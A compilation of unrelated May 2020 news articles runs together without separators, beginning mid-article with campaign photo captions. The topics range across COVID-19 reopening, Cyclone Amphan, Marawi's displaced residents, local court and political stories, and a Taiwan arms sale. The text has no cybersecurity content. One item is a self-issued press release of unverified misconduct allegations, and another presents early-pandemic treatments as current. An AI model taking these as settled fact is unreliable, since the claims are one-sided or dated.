candidates compete on the campaign trail: In pictures Elizabeth Warren is presented with a balloon effigy of herself at a campaign event in Nashua, New Hampshire on 5 February Reuters Democratic candidates compete on the campaign trail: In pictures A Trump supporter rides past a rally for Amy Klobuchar in Des Moines, Iowa on 14 January AP Democratic candidates compete on the campaign trail: In pictures A man holds up a sign criticising billionaires in the presidential race in front of Michael Bloomberg in Compton, Califronia. The former New York mayor skipped the first caucus in Iowa and instead campaigned in California on 3 February Reuters

Smith, who teaches American politics at Canterbury Christ Church University in Britain, says Trump too has sought to portray himself as a cheerleader for the nation.

He says he likes to be a cheerleader, even though it doesnt represent the facts of the reality  Its something Reagan was really well known for  the Great Communicator - and all that, she says.

Smith says there is much unknown about the way politics will play out over the coming six months  will there be conventions, will people be safe to vote in November  that makes predictions even harder.

Were dealing in 2020 with a reality of economic deprivation that real Americans, especially agricultural Americans, are feeling, she says. Will it matter to Trumps diehard supporters? Probably not, they probably will continue to have faith in him.
A woman who has had two suspended prison sentences for a string of previous driving offences has narrowly escaped prison again following an appearance at Longford District Court last week.

Lynette Delaney, 7 River Meadow, Dromod, Co Leitrim, had 12 charges against her last week, including no insurance and holding a mobile phone while driving.

I wont send you to prison today but youre getting a long suspended sentence, said Judge Seamus Hughes.

Youve had two suspended sentences but youll definitely be going to prison if you commit a further offence. Youre lucky.

Turning to sentencing, Judge Hughes disqualified Ms Delaney from driving for four years and gave her a prison sentence of three months, which he suspended for three years. He also fined her 500 with three months to pay.

For driving with no insurance, he gave her a six month suspended prison sentence and a 750 fine with three months to pay.

You cannot drive until the year 2026, Judge Hughes concluded.
New Delhi: At least 22 opposition parties urged the Centre on Friday (May 22) to immediatey declare the devastation caused by Cyclone Amphan in Odisha and West Bengal as a national calamity and called for substantially help to fellow citizens facing the impact of the disaster.

The leaders of the 22 parties, who met through video-conferencing, passed a resolution in this regard and said relief and rehabilitation should be the topmost priority at this juncture. "We, the opposition parties extend our sympathy and support to the governments and people of West Bengal and Odisha in meeting the impact of the devastation caused by Cyclone Amphan," the resolution said.

It said a natural calamity like Cyclone Amphan has come as a double blow amid the coronavirus pandemic, breaking the spirits of people.

"Opposition Parties therefore urge the central government to immediately declare this as a national calamity and substantially help the states in facing the impact of this disaster," the resolution said.

The meeting of opposition parties called by Congress chief Sonia Gandhi on Friday was attended by the leaders of Trinamool Congress, NCP, DMK and Left parties, among others.

Earlier in the day, West Bengal Chief Minister Mamata Banerjee stated that the state suffered losses of more than Rs 1 lakh crore due to the impact of cyclone Amphan, that made a landfall at Sunderban on May 20 afternoon. According to the Chief Minister at least 80 persons lost their lives to the storm in the state.
In a major haul, cocaine and



heroin meant to be smuggled to Sri Lanka were seized and nine people arrested in this connection in Thiruvaadhanai in Ramanathapuram district, police said on Friday.

Seven out of the nine arrested were from a northern state.

Cocaine and heroin weighing 3 kg and 5 kg respectively were recovered by a team led by Superintendent of Police Varun Kumar, which intercepted an autorickshaw during a routine patrol on the east coast road on Thursday.

During interrogation, the accused revealed that the drugs were meant to be smuggled to the island nation in a country boat.

One tonne red sanders, some cell phones and cash to the tune of over Rs 2 lakhs was also confiscated, they said.

The drugs were estimated to be between Rs 5 and Rs 7 crore in the international market.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)
Thumbs up to all parts of Illinois being on track to move to the next phase of Gov. J.B. Pritzkers plan to reopen the state. By moving into the Recovery phase next week, offices, salons, barbershops and manufacturers will begin to return with some capacity restrictions. I think thats news that we all can get behind. Gov. Pritzker also announced this week that some outdoor dining can be utilized in this next phase, although details are still being worked on with that. Now we all realize there will be no swift rescue, no knight in shining armor in the form of a vaccine or an antiviral that will sweep in and return our lives to normal before the summer comes. Our transmission balance is tenuous and business as usual could set off another wave of infections that threatens our lives and livelihoods, said lead epidemiologist at University of Chicago Medicine Dr. Emily Landon. Yes, we know this is difficult for all of us. But the numbers are proving that we are doing the right thing. The number of active cases here in our region is getting lower, so were doing things right. If we stay on the path, good things will happen. As reopening begins, we need to continue helping our neighbors by adhering to social-distancing guidelines and wearing masks in public.

Thumbs down to the unemployment rate in Illinois reaching a record 16.4% in April. Thats the highest rate recorded since the modern system of tracking joblessness began in 1976. The previous record of 13.9% was set in February 1983. Even more staggering: This comes just a few months after the state set a record low unemployment rate of 3.4% in November. A lot of people are hurting in our region. As we move to safely reopen much of our economy, we are focused on ensuring working families and small businesses have the resources they need to recover, and we urge the federal government to step up and provide additional relief, Deputy Gov. Dan Hynes said in a statement.

Thumbs down to a data breach this past week at the states Department of Employment Security. The breach was discovered by a person in our region, who reported it to State Rep. Terri Bryant. Bryant said a staffer sent her three screenshots taken by a constituent trying to navigate the IDES Pandemic Unemployment Assistance portal. It showed pages of applicants personal information including their number of dependents and their full social security numbers. The timing couldnt be worse for a data breach involving personal information, but then again, is there ever a good time? Hopefully, the department rights this mistake and improves its system.

Thumbs up to Southern Illinois Healthcare for teaming up with the Mayo Clinic for a national program that will offer COVID-19 patients access to convalescent plasma treatment. At SIH facilities, patients with mild COVID-19 symptoms have been treated with a short course of steroids. Patients with moderate symptoms have been treated with Tocilizunad and hydroxychloroquinine, and the severely ill patients can be given convalescent plasma therapy, after approval from the Mayo Clinic. The convalescent plasma therapy takes blood plasma from a patient who had COVID-19 and has recovered. Patients currently fighting the disease receive an infusion of donated plasma. They are seeing optimistic results. Thats why they made it available for other facilities, said Dr. Sarah Altamimi, an infectious disease physician at SIH.

Thumbs up to the Carbondale Farmers Market, which will host an open-air market Saturday  with restrictions. Vendors will be spread further apart and customers are asked to keep 6 feet from one another and to wear masks. But, the open-air market will be back, and thats music to our ears. Everybody loves the farmers market. Since the stay-at-home order started, the market in Carbondale was a drive-thru market with limited vendors. Now, it will be outside, but organizers are looking for help from the public. We really need the publics help with this thing. You cant physically hold everybodys hand and lead them away from each other," said Kurt Sweitzer, market board president and architect of the new market layout.

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Frontline: Heath workers will always be exposed to risk

A hospital consultant has teamed up with an acclaimed dressmaker and a sail manufacturer to create hard-wearing personal protective equipment (PPE) that can be reused by frontline healthcare staff.

It is hoped the product can drastically reduce the country's dependence on PPE imports and long supply chains.

University Hospital Waterford (UHW) consultant ophthalmic surgeon Gareth Higgins worked with Waterford dressmaker Colette McGrath and renowned sail manufacturer Richard Marshall to create the hard-wearing gown, which meets all criteria required for frontline staff.

Dr Higgins, who teaches medical students, said the high-quality gowns were produced thanks to a perfect coming-together of skill sets in Waterford.

"Initially I asked them to make a batch - Richard Marshall had a machine that he could cut panels for Colette McGrath, so they made a batch of 100," he told local radio station WLRFM.

"They were so ideal - they are light, they are much more robust than the paper gowns that we have and they feel very protective, so once I had them I realised that this is absolutely ideal and they can be rewashed.

"The (UHW) management were very much behind me and very interested so we managed to get an initial batch of 3,000 made up for the hospital."

Their gown is comfortable and offers the reassurance of being much tougher-wearing than light disposable gowns.

The concept of reusable, high-quality medical gowns is nothing new. Reusable gowns that were sterilised in a long, hot wash cycle were once the bedrock of some hospital services.

However, they were replaced over the years with disposable gowns.

"I think that long term, for everything, we are going to have to re-examine these really long supply chains, even if it is more expensive, if it can be produced locally, it can be scaled up," Mr Higgins said.

"From a security health point of view, I think it is a better idea to have re-usable kit and also have short supply lines."
22.05.2020 LISTEN

Multiple award-winning gospel musician and renowned preacher Dr Sonnie Badu have responded to calls made by the family of the late Apraku, promising to cater for his childrens education.

'Apraku My Daughter' was reported dead after a video of him had gone viral the previous day, in which he was seen drunk and poor.

Following this, the Ghanaian-UK based preacher pledged his full support to him on social media because he (Apraku) is still Gods property.

Sonnie Badu with his positive plans to offer help to the late preacher, could not see his good intentions materialize as the preacher was confirmed dead shortly after the news reached the deceaseds family.

As a means of still proving his love for the late man of God, he went further to pay for the ambulance and mortuary services of the clergyman.

However, reacting to the humble appeal made by a family member, Sonnie Badu expressed his plan to foot the educational expenses of the late preachers children, directing his assistants to collect their details.

Dr Sonnie Badu also called for anyone who wished to join him in sponsoring the family of the late preacher to do so.

---ghpage.com
North Korean leader Kim Jong-un. Yonhap



South Korea is closely watching the whereabouts of North Korean leader Kim Jong-un, the unification ministry said Friday, as his absence from public view has stretched to three weeks once again.



A swirl of global rumors about Kim's heath and even the possibility of his death came to an end when he attended the completion ceremony of a fertilizer factory with a broad smile on May 1 after a 20-day absence from public view.



Speculation over his whereabouts has resurfaced as he has been out of public view for three weeks.



"The relevant authorities are keeping a close watch," Yoh Sang-key, the ministry's spokesperson, told a regular press briefing when asked whether or not the ministry is aware of Kim's whereabouts.



"There was a time in January when he was also absent from public view for 21 days so we are watching the situation over his absence from media reports," he said.



It is not rare for Kim to disappear from the public eye.



After his appearance at a concert in Pyongyang celebrating Lunar New Year's Day on Jan. 25, he was absent for three weeks until state media reported his visit to a mausoleum in Pyongyang to commemorate the birthday of his late father on Feb. 16.



His longest absence from public view was in September 2014, when he disappeared for 40 days and returned with a limp. Seoul's intelligence agency later said that he had a cyst removed from his ankle.



Rumors on his health have underlined the difficulty in figuring out affairs in the hermetic country, especially with regard to its leadership, and how easy it is for the outside world to slip into far-fetched speculation in the absence of clear information. (Yonhap)


Marian Grande, a resident of Marawi, the battle-scarred city in the southern Philippines, surveys the ruins of her familys ancestral home, April 8, 2018.

The coronavirus pandemic ravaging many parts of the Philippines has complicated homecoming efforts for thousands of Filipino Muslims who were uprooted when Islamic State-linked militants ransacked the southern Marawi city three years ago, officials said Friday.

Many of Marawis displaced residents have long been frustrated in their efforts to return and rebuild their homes, but now they also have to contend with being locked out during the outbreak of the potentially deadly virus, politicians and local leaders said.

This crisis has affected everyone. But we could say that IDPs are doubly affected, said Abdullah Macapaar, a former Moro Islamic Liberation Front (MILF) rebel leader, referring to the citys internally displaced people.

Many of them still havent recovered from the Marawi siege, and now they have to face COVID-19, said Macapaar, who serves as a politician who helps house displaced people, in a statement.

On May 23, 2017, hundreds of Filipino, Southeast Asian and Middle Eastern militants laid siege to Marawi, a scenic lakeshore city, provoking a battle with government forces that raged for five months and left the city in ruins by the time the pro-Islamic State (IS) fighters were flushed out.

Three years on, residents are clamoring to be allowed to return to their homes despite the pandemic that broke out in recent months.

Drieza Lininding, who heads the Moro Consensus Group composed of displaced Marawi residents, said the government must act to end three years of suffering for many of its people.

We must be allowed to return unconditionally, and everyone must be given free mass testing, Lininding, whose family home was destroyed in the heavy fighting, told BenarNews. More importantly, returning IDPs must be given free transportation. Three years is too much already.

He said people were willing to rebuild even on their own, using indigenous materials such as bamboo and wood, and not necessarily wait for government aid which, he said, may never come.

The people should be allowed to repair their temporary homes, he said, adding, It may not be perfect, but at the end of the day, it would be their homes, in their own properties.

On Thursday, Philippine Rep. Mujiv Hataman called for an overhaul of Task Force Bangon Marawi, the agency created to carry out the reconstruction of city, where large areas still are uninhabitable.

While the country fights the COVID-19 pandemic, the people of Marawi suffer twice in this crisis as they continue to be plagued by an outbreak of government delay and inefficiency in the rehabilitation and reconstruction of their homes three years after the 2017 siege, Hataman said in a statement.

A destroyed Marawi should not be the new normal. COVID-19 or not, the rehabilitation must go on, he said.

Statistics provided by his office showed that there were 17,000 families  or roughly more than 95,000 people  still displaced three years after the fighting, he said.

Rehabilitation should move faster than the virus. Long before this plan to flatten the curve, Marawi was already flattened by bombs. No other city has suffered these three in succession: war, virus and now hunger. Just imagine being in the middle of the COVID-19 pandemic and you cannot even stay under the protection of your own home, Hataman said.

Marawis displaced population lives on its outskirts in tightly packed evacuation camps. As of May 17, nine cases of COVID-19 had been confirmed with four deaths in Marawi City and Lanao del Sur, the surrounding province, according to Save The Children, which cited statistics from the regional health office.

At the national level, the Philippine health department has confirmed 13,597 coronavirus cases and 857 deaths, according to figures updated on Friday.

A soldier guards the inside of the destroyed main mosque in the central part of Marawi, Philippines, April 7, 2018. [Jason Gutierrez/BenarNews]

Left behind

Macapaars former insurgent group, MILF, through a peace deal with the government, has controlled an expanded autonomous region in the south since last year. The region includes Marawi city, the only Muslim city in the mostly Catholic Philippines.

As a consequence of problems that have been reported with gathering complete data on the citys displaced population and adding their names to a master list, Abdullah Macapaar said, many Marawi IDPs are being left behind in relief and government assistance.

In some areas, assistance has completely stopped already, or has been unavailable to begin with, said the ex-guerrilla who was known by a nom-de-guerre, Commander Bravo.

Mohammad Agakhan Sharief, a religious leader in Marawi, is among the people who remain displaced three years after the siege, which marked the first time that militant groups aligned with Islamic State had taken over a city in Southeast Asia by force.

He said he and his family were anxious to return to their home.

The temporary shelters are too small for the evacuees, he told BenarNews.

Sharief said he had been allowed to visit ground zero of the battle of Marawi, and he believed there is no more danger for us.

The Philippine military had earlier cited the presence of unexploded bombs as the reason for why his family and others had not been allowed to return home.

Let us go home. We have been suffering too much already, Sharief said.
COVID-19 - The letter to the VP for Research

SHEBOYGAN, Wis., May 22, 2020 /PRNewswire/ -- Most Sacred Heart of Jesus Cardiology and Valvular Institute Director Dr. Nalini Rajamannan, has submitted evidence in an open letter to Northwestern University's Newly Minted Vice President for Research Dr. Milan Mrksich, the Senate Finance Committee, the Senate Committee on Homeland Security, the FDA and the NIH providing the evidence of Non-Compliance of the Federal Insurance policy to protect human subjects as it relates to human subject research over the past 14 years including the current clinical trial: Adaptive COVID-19 Treatment Trial: NCT04280705.

The COVID-19 Letter is online on Amazon.com (The Myxo Files XXXVI: Covid-19 The Letter):

https://www.scribd.com/document/462458383/Open-Reporting-Letter-NU-VP-for-Resaerch-5-21-2020

Dr. Rajamannan is an NIH awardee of the American Recovery and Reinvestment Act, after witnessing the events listed in the letter, she continues her lifelong federal reporting responsibilities under the ARRA funding including the federal code regulations: 46CFR45 and 21CFR50, and 21CFR820.30 to ensure that Northwestern University/ the FDA and the NIH are aware of the non-compliance.

"If a device is supposed to get cleared by the agency first before you're marketing it, we consider that investigational," Dr. Jeffrey Shuren, head of the FDA's medical device branch, told The Chicago Tribune in 2011.

The list of violations is as follows:

Testing of the Model 5100 without consent and without an IDE Failure to report the change in the status of the device to the patients by the University's IRB Failure to follow-up on the ongoing harm by the University including deaths, heart attacks and reoperations Failure to reveal to the patients and their physicians the experimental status of the device for future long-term testing Failure to review the 122 product defects discovered in the prototype version of the device placed in the patients during the experimental surgical testing surgeries. Concealment of the correct status of the device to the ARDC of the Illinois Supreme Court Delays in placing the cardiac surgical registry on hold until the patients are fully informed of the experimental heart surgeries New Evidence of concealment by Northwestern University IRB Chairman

The patients and the physicians await the FDA's decision to inform the nearly 1000+ patients who unknowingly received the recalled devices the Model 5100, the Model 1155, and the Model 4100.

Request for comment from Northwestern University media affairs office regarding the open letter to the Vice President, resulted in no response to comment on the open letter to the Vice President.

Dr. Nalini Rajamannan is a heart valve expert in the field of cardiovascular medicine. She earned her undergraduate science pre-professional degree from the University of Notre Dame, her Medical Doctorate from Mayo Medical School and her post-graduate training in Internal Medicine and Cardiology at the Mayo Clinic and Research Fellowship on the NIH training Grant. She also worked at the Mayo Clinic as a staff consultant in Internal Medicine and an Associate Professor of Medicine at Northwestern University and the Lakeside and Westside VA. Currently, she practices consultative valvular medicine and Osteocardiology at Most Sacred Heart of Jesus Cardiology and Valvular Institute, WI.

Press Contact

Nalini M. Rajamannan

Medical Director for Most Sacred Heart of Jesus Cardiology and Valvular Institute

312-498-9496

[email protected]

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The Myxo Files XXXVII: COVID-19 The Letter

SOURCE Most Sacred Heart of Jesus Cardiology
Ivalis Gonzalez Meza likes to say that she was introduced to political activism from the womb.

Her mother, Choco Meza, ran a City Council campaign for Maria Berriozabal in 1981 while pregnant with Ivalis, helping Berriozabal become San Antonios first Latina council member. A few weeks after Ivalis birth, Choco jumped back into the fray, orchestrating a victorious judicial race for Raul Rivera.

Ivalis and her older brother Danny have proudly carried on the family tradition, with Danny working as the chief of staff for Congressman Joaquin Castro and Ivalis serving as a government liaison for the San Antonio River Authority, a Democratic Party precinct chair and a member of the Mayors Commission on the Status of Women.

On June 1, Ivalis will officially assume the duties of chief of staff for Mayor Ron Nirenberg, replacing former Valero executive Jim Greenwood, who has decided to retire.

Greenwoods last day on the job is May 29.

Billy Calzada, Staff / Staff photographer

Meza, 38, is an attorney who graduated in 2015 from St. Marys University School of Law and has worked in the mayors office since February 2018.

Nirenberg initially hired her as a policy adviser. During last years nerve-wracking mayoral runoff race against then-Councilman Greg Brockhouse, Meza took a sabbatical from her staff position to help Nirenbergs campaign make it across the finish line.

That tougher-than-expected battle served, in Nirenbergs own words, as a wake-up call.

A week after winning re-election, Nirenberg announced two big changes in his office: Greenwood replaced Trey Jacobson as chief of staff, and Meza took over a newly created position as director of policy and public engagement.

In announcing those changes, Nirenberg promised that people are going to see more of me in their neighborhoods. He said Mezas role in his administration would enhance and strengthen the publics relationship with the mayors office, adding that she has proven skills in this area.

Nirenbergs second term has been marked by a more assertive effort to communicate with constituents. Insiders give Meza credit for helping the mayor become more responsive to the pulse of the community.

Carlos Javier Sanchez /Contributor

A source close to the mayors office cited community engagement as one area where the administration had too many blind spots in the previous term. (Meza) really brought that focus to the office.

Meza assumes the chief of staff position at a time of unprecedented municipal challenges: the public health and economic damage caused by the COVID-19 outbreak; the citys projected $200 million budgetary shortfall; and the need for a responsible plan to lead San Antonio out of crisis mode into something approaching normalcy.

While a long-term public transit revamp was the primary goal for Nirenberg six months ago, the impact of COVID-19 means that he and Meza are now likely to direct more of their immediate attention to workforce development, housing security and small-business support.

Sources say the transition from Greenwood to Meza is expected to be a smooth one. Over the past year, the two mayoral aides, by choice, actually shared office space (leaving one office vacant), so they could work more closely together.

Along the way, Nirenberg quietly promoted Meza to deputy chief of staff.

Sources say Mezas law background has been beneficial to Nirenberg as the city has confronted legal battles over paid sick leave and other issues.

Nirenberg met Meza in 2013, during his first campaign for City Council in District 8. Meza lives in the district, and Nirenberg knocked on her door to ask for her vote.

By that point, Nirenberg knew Mezas mother.

It was nearly impossible, after all, to be engaged in local politics and not know Choco Meza.

Matthew Busch, For The San Antonio Express-News / For The San Antonio Express-News

Choco developed her organizational skills working alongside legendary activist Willie Velasquez in the Southwest Voter Registration Education Project.

She served as deputy assistant secretary of Housing and Urban Development under former Mayor Henry Cisneros and as the executive director of the YWCA.

Choco also served a short but crucial stint as Bexar County Democratic Party chair from 2011-12, ran a long-shot council campaign in 2013 for a West Side pawnshop owner named Shirley Gonzales and helped Gonzales pull off a major upset over incumbent David Medina.

Choco went on to serve three years as Gonzales council chief of staff, before passing away in October 2016.

A July 1989 San Antonio Light piece about Chocos leadership at the YWCA took note of the fact that her office walls contained no plaques or certificates, but instead were decorated with the crayon drawings of a then-7-year-old Ivalis.

More than three decades later, Ivalis office wall is adorned with the crayon drawings of her own daughter.

Thats how you carry on a legacy.

Gilbert Garcia is a columnist covering the San Antonio and Bexar County area. To read more from Gilbert, become a subscriber. ggarcia@express-news.net | Twitter: @gilgamesh470
MARYLAND  It doesn't really feel like it, but Memorial Day weekend is here to kick off summer. Many Marylanders plan to observe the holiday at home instead of heading to the Eastern Shore or the mountains because of the coronavirus pandemic, according to an informal reader survey Patch conducted Wednesday.

Hotels, beaches and the boardwalk have all reopened for tourists in Ocean City. A ban on sport fishing and boating ended May 7, although no more than 10 people should be onboard. Boats need to keep 10 feet of space between them.



But Maryland residents say it's not yet time to venture out for vacations or larger gatherings.

Among 522 respondents, 92 percent said they plan to stay at home this weekend, while only 8 percent said they will travel.

"Give the hospital heroes a break. STAY HOME! We are stronger than the desire for a vacation," said one commenter. "Be your best self for your family and community."

The survey, which appeared in questionnaire form Wednesday and early Thursday on Patch, is meant not to be a scientific poll, but only to give a broad idea of public sentiment. And the mood seems to be cautious.



"Missing one year of celebration isn't the end of the world," said a respondent. "Might as well chill with burgers in the back yard this year rather than get sick and make matters worse."

Some residents said possible crowds at Ocean City's attractions could spread the coronavirus.

"I am very concerned that people are going to come back from Ocean City infected with Coronavirus and further spread the virus," a respondent said. "I seriously question why after doing such a great job with this our governor opened up the beaches for Memorial Day weekend. I will be watching the numbers closely a week after Memorial Day to see if they start going up sharply."

Gov. Larry Hogan lifted the stay-at-home order statewide May 15 as he enacted what he called a "safer at home public health advisory," which local jurisdictions could modify accordingly. Several jurisdictions  Charles, Montgomery and Prince George's counties, as well as Baltimore City  remain under stay-at-home orders.

Story continues

Statewide, residents are still encouraged to stay at home when possible, continue social distancing and wear face coverings in public. Gatherings over 10 people remain banned.



Less than 12 percent of the survey participants said they are likely to visit the Eastern Shore, other Maryland destinations, or travel outside the state. Eighty-eight percent of the respondents said they have no travel plans.

Most state parks are now open for daytime activities, with the exception of Harriet Tubman Underground Railroad State Park, which is closed, and parts of the Houck Area of Cunningham Falls State Park. Camping is available at some state parks. Playgrounds at state parks have been reopened, although parents are asked to talk to their children about to how to properly social distance while playing.



Maryland Patch readers say they are watching the toll coronavirus has taken and considering if later in the summer it might be safe to hit the road. But some people raised questions about the safety of air travel and staying in a hotel.

"Maybe later in the summer depending on how the cases are here and where I travel to," one commenter said.

With most events canceled, one survey participant said they'd forgotten this was a holiday weekend. And precautions like wearing a mask have many saying they'll do a staycation.

"Although I know they are necessary now, I absolutely hate wearing a mask. I will not spend my vacation time and money wearing one of those things," a commenter said. "I'll wait, as long as it takes, to take a 'normal' vacation. Maybe take two when that happens to make up for lost time."

This article originally appeared on the Annapolis Patch
A police chief has called on the public not to act like idiots after his officers were forced to break up a 100-strong street party.

West Midlands Police released footage of a large gathering in Handsworth, Birmingham, on Wednesday night, with one reveller asking officers if coronavirus was real.

The forces Chief Constable, Dave Thompson, shared the video clip on Twitter, writing: I commend the amazing, patient work of officers in this footage. Its what we have seen day in day out.

He added: Dont be an idiot this weekend, pointing out that such reckless behaviour would lead to further virus spreading.

The incident saw more than 100 people swarm to Sandwell Road, Handsworth, at about 7.45pm on Wednesday.

The group included families standing shoulder-to-shoulder and a BBQ dishing out food for the crowd, with dozens of cars parked nearby.

Officers moved through the group, telling people such gatherings were in breach of the Governments orders, and instructing them to leave the area.

There was no disorder and no arrests as the crowd dispersed.

Birmingham Police Superintendent Gareth Morris said: This gathering was unacceptable.

It was, in essence, a large street party.

Such gatherings are banned at present under Covid-19 regulations as they pose a very real risk of spreading the virus and costing lives.

Its important people take responsibility for their own actions to help curb the spread of the virus.

The officer added: There were several children in this gathering.

Parents need to be stressing to their children the importance of social distancing to save lives.

We dont like stopping people having fun but everyone has to recognise amassing in large numbers like this, given the current pandemic, is out of order.

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There were no arrests and no fines were issued.

However, these people have been warned and if we encounter any further mass gatherings at the location we may well issue on-the-spot fines.
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Linkedin Belseran Christ (The Jakarta Post) Jakarta and Maluku  Fri, May 22, 2020 17:31 608 fc6853813033f564188675f8bd9b3b75 1 National COVID-19,COVID-19-in-Indonesia Free

A 4-year-old child from Wara Kolam Sembilan hamlet in Ambon, Maluku, died on Thursday after being denied admission by four hospitals in Ambon that were full with patients as a result of the COVID-19 pandemic.

The toddler, identified as Rafadan, was previously treated at Haulussy General Hospital for aplastic anemia, an autoimmune disease that occurs when the body stops producing a sufficient number of new blood cells.

Rafadans father, Basoni, explained that he had already taken his son to four different hospitals on Wednesday. The first one was Al Fatah Hospital, where he was advised to have Rafadan take a rapid test outside of the hospital before seeking treatment at the hospital.

The hospital does not have any rapid test kits, so the patient should take a rapid test outside of this hospital before receiving treatment here, Basoni said on Thursday, recalling the words of the hospital staff.

Read also: Ambon hospital suspends operations after 25 medical workers test positive for COVID-19

Basoni then proceeded to take his son to Bhakti Rahayu Hospital, which was closed at that time. He later took his son to Sumber Hidup Hospital, where Rafadan was met with another rejection because the hospital was being sterilized after the death of a COVID-19 patient.

He then took his son back to Haulussy General Hospital. Unfortunately, as soon as he arrived at the hospital, he learned that the hospital was closed for 14 days after 25 of its medical workers tested positive for COVID-19.

The family planned to bring him to Bhayangkara Hospital on Thursday, but he passed away on the way there. Rafadan was laid to rest in a public cemetery in Warasia hamlet, Batu Merah village.

Rafadan was not the only person in Ambon to die because of a lack of medical support due to the ongoing pandemic. Previously, two other residents reportedly died en route to a hospital after having been rejected from other hospitals. (dpk)
It took three weeks, but Lawrence and Arlene Maze finally persuaded their younger son, Gregory, of Los Angeles, to get on a flight home to Austin.

"He basically shut his business down to come here and has to restart his business when it's safe," his father said. "It was a very difficult decision."

Alex Rose, a 33-year-old event producer and recording artist, didn't need much persuasion. She spent a couple of weeks alone in her 500-square-foot Hollywood apartment, taking long walks to break up the days. In mid-March, her event bookings and performances began to disappear. Then a neighbor showed her video of an arsonist setting trash can fires on their street and she saw the melted cans next to her building.

"All of a sudden I didn't feel safe anymore," she said. "I didn't feel safe, and frankly, I felt totally alone."

The next morning, she and her cat, Eloise, flew home to Austin to her mother and stepdad.

As COVID-19 has ripped through densely populated communities, millennials have fled their own cramped quarters for less congested cities with more room in their parents' homes. They are near family should someone get sick. The familiarity is comforting in an uncertain time. Overwhelmingly, parents and their adult children view the arrangement as temporary. Of course, no one knows how long "temporary" might last.

Lawrence Maze said the thinking was that Gregory could help him or his wife if they got sick, and they could help him if he did. Also, they believed Austin's health care system would be less stressed than L.A.'s.

"He's lived on his own now for a very long time," Lawrence said. "It's not like he moved back into his old house. He knows he's living in a guest bedroom."

It's a major disruption for young adults who have established their lives thousands of miles from home: They keep paying rent on empty places. They have left behind their routines and social lives. Some have lost their work. Others can work remotely alongside parents who are doing the same.

The magnitude of the outbreak has, for a time, reordered American lives. It's fostering unexpected togetherness.

Rose's mother, Elizabeth Christian, said her daughter hasn't visited Austin this long since she was in college, and now "nobody is rushing off to do anything."

"We're having meals together. And we're watching movies at night," she said.

Christian and her husband, Bruce Todd, a former Austin mayor, wanted to make sure Rose got back before California wouldn't allow her to leave or Texas wouldn't let her in.

Sarah and Ken Frankenfeld had barely moved into their downsized townhome when the coronavirus pandemic brought their 31-year-old son and his girlfriend from New York City to quarantine with them.

"I was nervous about how this was going to work," Sarah Frankenfeld said of their lack of furniture and readiness for houseguests. They'd met his girlfriend for one evening a few months earlier. "He hasn't lived here in a while. But it's worked and it's been lovely."

Kevin Frankenfeld, who works in digital, social strategy and marketing, has lived in New York almost nine years. He and his girlfriend, Maddie Haller, wanted to quarantine together.

"In Manhattan or Brooklyn, people are just on top of one another," he said. "So we wanted to get out of town."

This shared feeling of lockdown with so much unknown can cause stress and make us feel lonely and anxious, even with others around, said Dr. Vivek Murthy, U.S. surgeon general from 2014 to 2017.

"In this moment, we have no idea when the pandemic will end," he said. "We don't know when our lives will go back to normal."

Well before the stay-at-home orders, Murthy recognized Americans' increased loneliness, prompting his new book, "Together: The Healing Power of Human Connection in a Sometimes Lonely World." Now that many are isolated by themselves, he urges us to "step back and take stock of our lives."

"The silver lining of COVID-19 is that it's given us the opportunity to reset our social lives and remember how essential relationships are to our well-being," he said.

Rose is doing her own reset. She's among California's estimated 2 million self-employed. But because of the pandemic, she's applying for full-time jobs around the country in digital media and project management.

"When I left L.A., I never expected that I would not go back to that apartment," she said. With her lease up in June, she asked a friend to pack up her place and move everything into storage.

Rose and her mother returned late Sunday from a quick turnaround to California to retrieve Rose's tiny 2016 Fiat 500 that was stranded six weeks in long-term airport parking.

Gregory Maze, 33, is a private chef, event caterer and part-owner of a coffee truck business. He moved to L.A. five years ago.

"I'm fortunate to have a situation like this, but leaving L.A. was not on my terms," he said. "It's out of my hands. I really don't know what the landscape is going to look like at the end of this."

While some younger adults mock baby boomers with the "OK boomer" meme, the pandemic seems to have shifted the tone  at least where parents are concerned.

Suzanne and Stuart Newberg's older son, Jared, 27, and his girlfriend, Melissa Asensio, both of Manhattan, arrived March 21 to quarantine together.

"They bought one-way plane tickets and we said, 'You're welcome as long as you need to be here,'" Suzanne Newberg said.

Jared and Melissa, who both worked full time in their New York City offices, now work remotely from Austin. His three roommates left for their hometowns about a week before Jared and Melissa. Her two roommates left New York around the same time.

"It was a lot safer and more comfortable to come here," Jared said. "We're super-lucky and super-fortunate."

Back in New York, one of Kevin Frankenfeld's roommates remains in their three-bedroom apartment. The other went home to Boston. Maddie lives in the same neighborhood. Her apartment is empty now. Both Kevin and Maddie work full time remotely and are glad they're not in the city.

"We didn't want to be stuck in a small apartment to isolate in a hotbed," Kevin said. "Here we've got a green area, dishwasher and laundry."
The sale of $180 million worth of high tech torpedoes to Taiwan has been approved by the US for defensive purposes and to protect Taiwan from Beijing's belligerent attitude, since rejecting the One-China policy.

It is likely the arming of the Taiwanese Navy with heavyweight torpedoes that angers the CCP at the danger it represents to the Chinese Navy assets. Beijing sees and claims Taiwan in the One-China Policy.

For the Trump administration, sale of the torpedoes to Taiwan and the relation it has precedes the fact that China will take issue at the sale of arms which can frustrate its efforts to cower the island nation.

Another is that the US is willing to help Taiwan despite amping up the bad blood, which the two countries have already. But, clearly, the US does not care for China's concern, only for Taiwan's defence.

Confirmation by the U.S. Defense Security Cooperation Agency announcing the State Department allowing the sale of the 18 Torpedoes that comes with everything needed to operate them in a tactical situation to be used effectively.

Everything in the sale was in order, according to relevant agencies in Taiwan and with US law and policy. Both countries are allied and committed to Taiwan modernizing its armed forces, and with a good defensive stance as well. Several times, the US came to intervene, especially with the Chinese navy sending signals to Taiwan's independence that irks the communists.

Taiwan used to be called the Republic of China, though the US was never officially diplomatic to the small nation but kept ties none the less. Also, has been selling arms to the Taiwanese for a long time. Till late most nations followed a one-china policy, that refers to the CCP in mainland China as the only legit Chinese government.

Also read: Beijing Claims Expelling USS Barry When PLAN Failed

Sale of the weapons was met with a statement from the Chinese Ministry of Foreign Affairs, getting irked by the sale and demanding the US to stop selling weapons to Taiwan, cut military ties. This was an attempt to impose on the US which chose to ignore Chinese demands.

The Chinese spokesman said China opposes the sale of arms to Taiwan.

Approval of the sale was given on the start of the second term of President Tsai Ing-wen, who wants an independent state of Taiwan.

On Wednesday, the Secretary of State Mike Pompeo further bristled China by giving a statement of Praise to Tsai and extolling her virtues as a leader. But the Chinese Ministry of Foreign Affairs got ruffled at Pompeo's statements and aired their dissatisfaction.

